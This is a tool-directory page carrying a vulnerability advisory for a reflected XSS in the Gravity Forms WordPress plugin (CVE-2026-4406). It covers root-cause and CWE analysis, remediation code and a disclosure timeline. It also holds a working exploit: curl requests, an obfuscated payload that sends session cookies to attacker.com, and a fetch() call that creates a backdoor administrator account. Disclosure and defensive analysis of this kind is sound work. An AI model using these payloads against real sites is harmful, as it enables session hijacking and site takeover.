Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-4406 — The Gravity Forms plugin for WordPress (tested through version 2.9.28) is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the `form_ids` parameter in the `gform_get_config` AJAX action. | Kitploit
Tools/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4406
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubhann1bl3l3ct3r/cve-2026-4406

CVE-2026-4406

The Gravity Forms plugin for WordPress (tested through version 2.9.28) is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the `form_ids` parameter in the `gform_get_config` AJAX action.

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Gravity Forms <= 2.9.28 — Unauthenticated Reflected Cross-Site Scripting via gform_get_config form_ids Parameter

Vulnerability Summary

FieldValue
Affected SoftwareGravity Forms (WordPress Plugin)
VendorRocketgenius, Inc.
Vulnerability TypeCWE-79: Improper Neutralization of Input During Web Page Generation (Reflected Cross-Site Scripting)
CWE ChainCWE-20 → CWE-116 → CWE-838 → CWE-79 (see CWE Analysis below)
Affected VersionsConfirmed on 2.9.28 (latest as of discovery); earlier versions likely affected
Fixed Version2.9.30.1 (hotfix)
CVSS 3.1 Score6.1 (Medium)
CVSS 3.1 VectorAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Authentication RequiredNone (Unauthenticated)
User InteractionRequired (victim must visit attacker-controlled page or click crafted link)
Discovered ByAnthony Cihan — Obviam
Discovery Date2026-03-04
Disclosure Date2026-03-18
CVE IDCVE-2026-4406

Wordfence Public Record


Description

The Gravity Forms plugin for WordPress (tested through version 2.9.28) is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the form_ids parameter in the gform_get_config AJAX action. The vulnerability exists because user-supplied form_ids values are reflected verbatim in the server's HTTP response without any sanitization, encoding, or output escaping. The response is served with a Content-Type: text/html; charset=UTF-8 header, which causes the browser to parse and render the reflected content as HTML, including any injected script elements.

An unauthenticated attacker can exploit this vulnerability to execute arbitrary JavaScript in the context of the target WordPress site's origin. Because the gform_get_config action requires a valid config_nonce, and this nonce is publicly embedded in the HTML source of every page that loads a Gravity Forms form, an attacker can trivially obtain a valid nonce by requesting any public-facing page on the target site before constructing the exploit request.

Successful exploitation allows an attacker to steal session cookies, perform actions on behalf of authenticated users (including WordPress administrators), redirect users to malicious sites, deface page content, or establish persistent access through administrative account creation.


Root Cause Analysis

Vulnerable Endpoint

root@kitploit:~
POST /wp-admin/admin-ajax.php

Vulnerable Action

root@kitploit:~
gform_get_config

Vulnerable Parameter

The args POST parameter accepts a JSON object containing a form_ids array. Values in this array are used as object keys in the JSON response structure without sanitization:

root@kitploit:~
{"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

Response Behavior

The server processes the form_ids values and reflects them as JSON keys inside the response body. The response is wrapped in HTML comment markers and served as text/html:

root@kitploit:~
Content-Type: text/html; charset=UTF-8

<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->

Why This Is Exploitable

  1. No Input Validation: The form_ids values are not validated as integers, sanitized, or filtered. The server accepts arbitrary string content including HTML tags and event handlers.
  2. No Output Encoding: The form_ids values are reflected in the response body without HTML entity encoding. Characters such as <, >, ", and ' pass through unmodified.
  3. HTML Content-Type: The response is served with Content-Type: text/html; charset=UTF-8, which instructs the browser to parse the response body as HTML. Any HTML tags within the reflected value are instantiated and rendered by the browser's HTML parser.
  4. Publicly Accessible Nonce: The config_nonce required by the gform_get_config action is embedded in the JavaScript configuration object (gform_theme_config) on every page that loads a Gravity Forms form. This nonce is identical across all pages and is not bound to a specific user session, making it trivially obtainable by unauthenticated users.

CWE Analysis

This vulnerability is the result of multiple contributing weaknesses that chain together to produce the exploitable condition. While CWE-79 is the primary classification for CVE reporting purposes, the full chain documents how each failure compounds to enable exploitation.

Weakness Chain

root@kitploit:~
CWE-20                    CWE-116                     CWE-838                       CWE-79
Improper Input     →      Improper Encoding     →     Inappropriate Encoding   →    Cross-Site
Validation                or Escaping of Output       for Output Context            Scripting (XSS)
                                                                                    [EXPLOITABLE]
form_ids accepts          Reflected values are        JSON data served as           Browser parses
arbitrary strings         not HTML-entity             text/html instead of          injected HTML tags
instead of integers       encoded in response         application/json              and executes JS

CWE-20: Improper Input Validation (Contributing)

Role: Root enabler — allows malicious data to enter the processing pipeline.

The form_ids parameter in the args JSON object is expected to contain numeric form identifiers but accepts arbitrary string input without any validation. No type checking (intval()), no regex filtering (^[0-9]+$), no whitelist comparison against known form IDs, and no length restrictions are applied.

Evidence: The server accepts and processes form_ids values containing HTML tags, JavaScript event handlers, and arbitrary Unicode without rejection.

root@kitploit:~
{"form_ids":["<svg onload=alert(1)>"]}    ← Accepted
{"form_ids":["3"]}                         ← Expected

CWE-116: Improper Encoding or Escaping of Output (Primary Technical Failure)

Role: Core vulnerability — the direct cause of the XSS condition.

When the server constructs the JSON response containing the form_ids values, it does not apply HTML entity encoding to the output. Characters with special meaning in HTML (<, >, ", ', &) pass through unmodified into the response body. The PHP functions htmlspecialchars(), esc_html(), wp_json_encode() with JSON_HEX_TAG, or equivalent output encoding functions are not applied to the form_ids values before they are written into the response.

Evidence: The literal string <svg onload=alert(document.domain)> appears in the response body byte-for-byte identical to the input, rather than as &lt;svg onload=alert(document.domain)&gt;.

CWE-838: Inappropriate Encoding for Output Context (Compounding)

Role: Context escalation — transforms a data reflection issue into executable code injection.

The response body contains JSON-structured data but is served with Content-Type: text/html; charset=UTF-8. This Content-Type declaration instructs the browser's HTML parser to process the entire response body as an HTML document. If the response were served as application/json, the browser would render the response as plain text and no HTML parsing would occur — the injected tags would be displayed as literal text rather than instantiated as DOM elements.

Evidence:

root@kitploit:~
Content-Type: text/html; charset=UTF-8    ← Actual (enables HTML parsing)
Content-Type: application/json             ← Expected (would prevent exploitation)

The X-Content-Type-Options: nosniff header is present but irrelevant because the server is explicitly declaring text/html — there is no MIME type sniffing to prevent.

CWE-79: Improper Neutralization of Input During Web Page Generation — Reflected XSS (Resultant)

Role: Exploitable outcome — the realized vulnerability.

The combination of the three contributing weaknesses produces a reflected cross-site scripting condition. User-supplied input flows from the HTTP request through server-side processing and into the HTTP response without sanitization, encoding, or context-appropriate Content-Type declaration, resulting in arbitrary JavaScript execution in the victim's browser.

Subtype: Reflected (Type 1) — the payload is included in the HTTP request and immediately reflected in the HTTP response without storage.

Summary Table

CWE IDNameRoleExploitable Alone?
CWE-20Improper Input ValidationContributing (root enabler)No — bad data enters but isn't rendered
CWE-116Improper Encoding or Escaping of OutputPrimary technical failurePartially — requires HTML rendering context
CWE-838Inappropriate Encoding for Output ContextCompounding (context escalation)No — requires unescaped data to be present
CWE-79Cross-Site Scripting (Reflected)Resultant (exploitable)Yes — this is the realized vulnerability

Minimum Fix Analysis

Any single remediation from the list below would break the chain and prevent exploitation:

FixBreaks Chain AtSufficient Alone?
Type-cast form_ids to integersCWE-20 (input)✅ Yes
HTML-entity encode outputCWE-116 (output)✅ Yes
Serve response as application/jsonCWE-838 (context)✅ Yes

Recommendation: Implement all three as defense-in-depth. The most critical fix is output encoding (CWE-116), as it protects against current and future injection vectors regardless of input validation or Content-Type changes.


Wordfence Submission Reference

FieldValue
Software TypeWordPress Plugin
Software Sluggravityforms
Wordfence Intel URLhttps://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms
Affected Versions<= 2.9.28 (latest confirmed)
Vulnerability TitleGravity Forms <= 2.9.28 — Unauthenticated Reflected Cross-Site Scripting via form_ids Parameter
CWE (Primary)CWE-79
CVSS 3.16.1 — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Required PrivilegeUnauthenticated
Patch StatusPatched in 2.9.30.1

Affected Configuration

Required Server-Side Conditions

  • WordPress installation with Gravity Forms plugin active (any form published)
  • The gform_get_config AJAX action registered (default behavior upon plugin activation)

Nonce Accessibility

The config_nonce is embedded in the global gform_theme_config JavaScript variable on any page containing a Gravity Forms form:

root@kitploit:~
var gform_theme_config = {
  "common": { ... },
  "config_nonce": "9308d72c0a"    // ← Publicly accessible
};

This nonce was confirmed to be:

  • Identical across all pages on the target site (homepage, form pages, non-form pages)
  • Not bound to a user session (same value returned with or without cookies)
  • Not rotated per-request (static for extended periods)

Security Headers Present (Insufficient)

HeaderValueImpact on Exploitability
X-Content-Type-OptionsnosniffDoes not mitigate — the server explicitly declares text/html
X-Frame-OptionsSAMEORIGINPrevents iframe-based exploitation from cross-origin; popup/redirect delivery still works
Content-Security-Policyframe-ancestors 'self';No script-src directive — inline script execution is unrestricted
Referrer-Policystrict-origin-when-cross-originNo impact on exploitability

Proof of Concept

Environment

ComponentVersion
WordPress6.9.1
Gravity Forms2.9.28
Web ServerApache (HTTP/2)
Testing PlatformKali Linux, curl 8.x

Step 1: Obtain a Valid Nonce

Request any page on the target site that loads a Gravity Forms form and extract the config_nonce value:

root@kitploit:~
curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

Example output:

root@kitploit:~
9308d72c0a

Step 2: Send the Exploit Request

Submit a POST request to the WordPress AJAX handler with a crafted form_ids value containing an XSS payload:

root@kitploit:~
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
  -F "gform_ajax_nonce=[NONCE]" \
  -F "action=gform_get_config" \
  -F 'args={"form_ids":["<svg onload=alert(document.domain)>"]}' \
  -F "config_path=gform_theme_config/common/form/pagination/3" \
  -F "query_string="

Step 3: Observe Reflection

HTTP Response Headers:

root@kitploit:~
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache

HTTP Response Body:

root@kitploit:~
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"<svg onload=alert(document.domain)>":null}}}}}<!-- gf:json_end -->

The <svg onload=alert(document.domain)> payload is reflected verbatim without any encoding in the response body. Because the response is served as text/html, the browser instantiates the SVG element and executes the onload event handler, triggering JavaScript execution in the context of the target site's origin.

Additional Observations

Multiple payloads can be injected simultaneously via the form_ids array:

root@kitploit:~
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
  -F "gform_ajax_nonce=[NONCE]" \
  -F "action=gform_get_config" \
  -F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
  -F "config_path=gform_theme_config/common/form/pagination/3" \
  -F "query_string="

Response:

root@kitploit:~
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"<svg onload=alert(1)>":null,"":null}}}}}<!-- gf:json_end -->

The config_path form number is arbitrary — any integer works (tested: 1, 3, 999), and invalid config paths return an error message that does not reflect the form_ids value.


Exploitation Scenarios

Scenario 1: Session Hijacking via Cookie Exfiltration

An attacker hosts a page that automatically scrapes a valid nonce from the target, then submits the exploit form to a popup window. The payload exfiltrates session cookies to an attacker-controlled server:

Payload:

root@kitploit:~
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>

Decoded JavaScript:

root@kitploit:~
new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

This technique uses the this.id self-referencing pattern to avoid quote and space characters in the reflected attribute context, encoding the full exploit logic in Base64 within the SVG element's id attribute.

If an authenticated WordPress administrator visits the attacker's page, their session cookie (wordpress_logged_in_*, wordpress_sec_*) is transmitted to the attacker, who can then impersonate the administrator.

Scenario 2: Administrative Account Creation

Using the same delivery mechanism, the payload can make authenticated API requests to the WordPress REST API or admin pages to create a new administrator account:

root@kitploit:~
fetch('/wp-json/wp/v2/users', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
  body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});

Scenario 3: DOM Takeover for Phishing

The reflected XSS can replace the entire page DOM with a convincing phishing overlay (e.g., a fake login page or session timeout prompt) to harvest credentials directly.


Attack Flow

root@kitploit:~
┌─────────────┐     1. GET /any-page/         ┌─────────────────┐
│   Attacker   │ ──────────────────────────────► Target WordPress │
│  (External)  │ ◄────────────────────────────── (Gravity Forms)  │
│              │     2. HTML with config_nonce  │                 │
│              │                                │                 │
│              │     3. Craft malicious page     │                 │
│              │        with auto-submit form    │                 │
│              │                                │                 │
│  ┌────────┐  │     4. Send link to victim     │                 │
│  │Malicious│  │ ───────────────────────►       │                 │
│  │  Page   │  │                       ┌───────┴──┐              │
│  └────────┘  │                       │  Victim   │              │
│              │                       │ (WP Admin)│              │
│              │                       └───────┬──┘              │
│              │     5. Victim's browser POSTs  │                 │
│              │        XSS payload with nonce  │                 │
│              │                       ────────►│                 │
│              │     6. Server reflects payload │                 │
│              │        unescaped in text/html  │                 │
│              │                       ◄────────│                 │
│              │     7. JS executes in target   │                 │
│              │        origin (session context)│                 │
│              │                                │                 │
│              │ ◄── 8. Exfil cookies/tokens ── │                 │
└─────────────┘                                └─────────────────┘

MITRE ATT&CK Mapping

TacticTechniqueIDDescription
Initial AccessDrive-by CompromiseT1189Victim visits attacker-controlled page hosting the XSS delivery mechanism
ExecutionUser Execution: Malicious LinkT1204.001Victim clicks link to attacker page or is redirected
Credential AccessSteal Web Session CookieT1539XSS payload exfiltrates session cookies from the victim's browser
PersistenceCreate AccountT1136.001Attacker uses stolen admin session to create a backdoor administrator account
Defense EvasionAbuse Elevation Control MechanismT1548XSS executes in the context of a privileged user's session

Impact Assessment

Confidentiality

  • Session cookies (including wordpress_logged_in_* and wordpress_sec_*) can be exfiltrated
  • CSRF nonces visible in the DOM can be captured for subsequent API requests
  • User PII rendered on admin pages is accessible to the injected script

Integrity

  • Administrative actions can be performed on behalf of the victim (post creation, plugin installation, user management, theme editing)
  • Site content can be modified or defaced
  • Backdoor accounts can be created for persistent access

Availability

  • Site takeover through administrative account compromise may lead to complete loss of availability
  • Malware injection via theme/plugin editor could render the site unusable or harmful to visitors

Remediation Recommendations

For Gravity Forms (Vendor)

  1. Input Validation — Enforce strict integer type casting on all form_ids values before processing. Reject any value that does not match ^[0-9]+$:

    root@kitploit:~
    $form_ids = array_map('intval', $form_ids);
    $form_ids = array_filter($form_ids, function($id) { return $id > 0; });
    
  2. Output Encoding — Apply wp_json_encode() with JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT flags when constructing the JSON response to ensure HTML-significant characters are escaped:

    root@kitploit:~
    echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
    
  3. Content-Type Correction — Set the response Content-Type to application/json instead of text/html for all AJAX JSON responses. This prevents the browser from parsing the response as HTML even if unsanitized content is reflected:

    root@kitploit:~
    header('Content-Type: application/json; charset=UTF-8');
    
  4. Nonce Scoping — Consider tying the config_nonce to the user session or implementing rate limiting on nonce generation to increase the cost of automated exploitation.

For Site Administrators (Immediate Mitigation)

  1. Web Application Firewall (WAF) — Deploy WAF rules to detect and block HTML tags in the args parameter of admin-ajax.php POST requests where action=gform_get_config
  2. Content Security Policy — Implement a restrictive script-src CSP directive (e.g., script-src 'self') to prevent execution of inline scripts even if reflected
  3. Monitor for Updates — Apply the Gravity Forms patch immediately when released
  4. Audit Admin Accounts — Review existing administrator accounts for any unauthorized additions

Disclosure Timeline

DateEvent
2026-03-04Vulnerability discovered during authorized penetration test
2026-03-04Reported to Wordfence (WordPress CNA)
2026-03-XXInitial rejection by Wordfence (misclassified as self-XSS)
2026-03-XXResubmitted with weaponized POC and nonce analysis; decision reversed
2026-03-18CVE-2026-4406 assigned by Wordfence
2026-03-18Vendor notified via [email protected]
2026-03-21Vendor acknowledged and provided hotfix (2.9.30.1) for review
2026-04-02Patch verified — absint() input validation on form_ids and Content-Type: application/json confirmed to remediate the vulnerability
2026-04-02Vulnerability resolved

References

  • Gravity Forms Security Documentation
  • [Gravity Forms Security Contact](mailto:[email protected])
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • OWASP Cross-Site Scripting (XSS)
  • WordPress AJAX API — admin-ajax.php
  • CVE-2023-2701 — Prior Gravity Forms XSS (different vector)
  • CVE-2024-13377 — Prior Gravity Forms Stored XSS via alt parameter (different vector)

Disclaimer

This vulnerability was discovered during an authorized penetration testing engagement conducted under a signed statement of work with explicit written authorization. All testing was performed within the agreed-upon scope, and findings were reported to the client immediately upon discovery. This disclosure follows responsible disclosure practices. No unauthorized systems were accessed, and no data was exfiltrated outside of controlled proof-of-concept validation.


Discovered by: Anthony Cihan

Download Tool